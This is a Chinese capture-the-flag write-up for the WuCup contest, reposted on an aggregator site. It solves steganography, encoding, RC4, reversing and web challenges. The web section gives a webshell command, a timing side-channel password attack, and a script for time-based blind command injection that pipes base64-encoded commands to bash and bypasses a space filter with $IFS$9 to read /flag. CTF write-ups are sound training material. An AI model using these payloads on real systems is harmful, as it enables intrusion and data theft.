欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 旅游 > WuCup网络安全技能大赛WP

WuCup网络安全技能大赛WP

2025/4/21 3:17:24 来源:https://blog.csdn.net/jnszstmei/article/details/144180363  浏览:    关键词:WuCup网络安全技能大赛WP

MISC

Sign

签到题,我们打开外部链接,可以看到下面的一串字符

image-20241201190932618

显然是十六进制,我们找一个在线的十六进制转字符串进行解码就可以拿下简单的签到题了

411ee4bf087b221c3aadea2e34d35af3

原神启动

我们把附件下载下来,解压后如下所示

image-20241201191547841

我们首先用steg对原神启动.png进行分析,如下所示

image-20241201191742211

我们发现第一个密码WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a},我们拿去解密zip压缩包,得到一个docx文件,但是我们打开来什么都没有,这显然就是在考docx的隐写,我们将后缀改成zip解压即可

image-20241201192036975

接下来在word/media中发现另外一张图片,同样用steg进行处理,得到第二个密钥

image-20241201192220518

WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

解压文件夹后,我们得到一个text.zip文件

image-20241201192400493

仍然需要密码,我们再去寻找最后一个密码,我们在document.xml中发现了端倪,所以这就是我们最后的密码

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

我们解密最后的压缩包,就可以拿到最后的flag,如下所示

image-20241201192940918

太极

首先我们点开外部链接,得到一串乱码,如下所示

[外链图片转存中…(img-10GEqKmd-1733103759750)]

显然是中文乱码了,我们转一下编码就可以了,得到下面一串字符

太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业

根据提示,我们将所有的拼音标出来,然后根据轮回原则,我们可以写出下面的东西

e66403855741b838dfe63f8d91304b56

最后拼成我们的flag即可,本题解出

旋转木马

我们将附件下载后,发现是两个很大的flag文件,我们分别打开,如下所示

[外链图片转存中…(img-kyDRG3OY-1733103759750)]

很大,一眼望不到头,直接给我notepad++干闪退了,老老实实用txt打开了,看着像一直用base64加密出来的东西,我们写个脚本解密吧,不然太大了,脚本如下所示

import base64
with open("flag1","r") as f1:res1 = f1.read()
with open("flag2","r") as f2:res2 = f2.read()
enc = res1 + res2
for i in range(53):enc = base64.b64decode(enc)
print(enc)

image-20241201195032786

得到一串像十六进制的东西,我们最后去16进制转字符串就可以了

image-20241201195123729

本题到此结束

Crypto

Easy

下载附件后,我们打开即可,查看附件,如下所示

image-20241201195453300

非常明显的RC4加密,而且密钥为hello world,我们直接找一个在线解密网站即可,将flag.txt的加密后的东西复制粘贴出来就可以了

[外链图片转存中…(img-CmlucS1t-1733103759751)]

WEB

Sign

打开容器

image-20241201195752930

提示我们passwd:sgin,我们可以联想到webshell的密码,我们尝试POSTsgin=system("ls /");即可

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现可以执行命令,我们直接读取flag

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

TimeCage

打开容器后,我们发现第一关代码如下

image-20241201200144902

显然猜是不可能的,我们肯定就要控制时间为0s的时候进行发送?input=114就可以成功绕过,我们这里可以选择写脚本进行时间控制,最简单的办法还是一直刷新,一分钟内能刷出来

image-20241201200415750

我们访问第二关,如下所示

image-20241201200453049

我们发现需要进行密码爆破,我们首先可以爆出密码位数,我们发现是8位,如下所示

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

8位的密码可以去爆破,但是时间太长了,我们可以发现作者在代码中留下了这句话

for($i = 0;$i < strlen($password); $i++){if($pass[$i] != $password[$i]){$isMatch = false;break;}sleep(1);} 

大概意思就是从左往右逐位检查密码是否正确,如果正确就休眠1s,我们可以根据返回延迟来测试密码是否正确,我们从左往右一位位修改我们的密码即可,最后我们测试出来的密码是

56983215

image-20241201201011836

来到我们的最后一关,源码如下所示

image-20241201201125138

我们发现是一个命令执行,且使用的执行函数是shell_exec,即无回显的命令执行,我们的常规思路有两种,一种是反弹shell,另外一种就是把flag写到别的文件里面,然后再通过url访问进行读取,但是两种方式我都尝试过了,都不行,应该是出题人限制了不能出网和不能写入文件夹,我们这里只能换一种思路,根据前两关的提示,我们联想到了时间盲注,linux中我们可以通过head -c n /flag | tail -c 1获取flag的第n个字符,我们就可以爆破这个字符,如果正确,我们就sleep 2进行一个延迟,上述过程用 shell 命令表示就是 [$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2,通过这个命令,我们就能通过响应时间的差异,逐步得到 flag 的所有内容

对于空格的过滤,我们可以使用$IFS$9进行空格绕过,其他特殊符号通过base64编码绕过,也就是 echo base64编码后的命令 | base64 -d | sh,我们最后的脚本如下所示

import requests
import base64
import string
import time
url = "http://challenge.wucup.cn:25706/EscapeEsc@p3Escape.php"
flag = ""
p1 = "echo$IFS$9"
p3 = "$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9bash"
for i in range(1,100):for c in string.printable:print(flag)p2 = "[ \"$(head -c " + str(i)  + " /flag | tail -c 1)\" = \"" + c + "\" ] && sleep 2"payload = (p1+base64.b64encode(p2.encode()).decode()+p3)time1 = time.time()data = {"cmd": payload}requests.post(url, data=data)time2 = time.time()if(time2-time1>1.9):flag+=cbreakprint(flag)

最后我们得到运行结果,成功拿到flag

image-20241201202632968

Reverse

If you know

我们首先下载我们的miss文件,首先先用upx进行脱壳,如下所示

image-20241201204013478

接下来用IDA打开即可

[外链图片转存中…(img-V6WZaTBG-1733103759752)]

我们可以看到程序主逻辑如上所示,接下来我们就是要写脚本进行逆向求解即可,最后贴上我们的脚本

enc = [245,512,520,495,565,628,570,630,695,774,690,787,738,815,881,1088,824,1001,994,950,1031,1086,954,1012,1045,1139,1242,0
]
flag = ""
l = len(enc) - 1
for i in range(l-1,-1,-1):if (i & 1) == 0:for j in range(l):enc[j] = enc[j] - j - (i+1)enc[j] = enc[j] ^ jelse:for j in range(l,-1,-1):enc[j] = enc[j] - j - (i+2)enc[j] = enc[j] ^ j
print(enc)
for i in enc:flag += chr(i)
print(flag)

这个脚本跑出来的结果如下所示

image-20241201205027030

[-146, 95, 49, 48, 118, 51, 95, 121, 48, 117, 95, 100, 51, 52, 114, 95, 49, 102, 95, 121, 48, 117, 95, 107, 110, 48, 119, -571]

我们这一串字符去掉头尾后根据意思进行爆破,第一位为i,最后爆破出来的flag,结果如下所示

WuCup{1_10v3_y0u_d34r_1f_y0u_kn0w}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词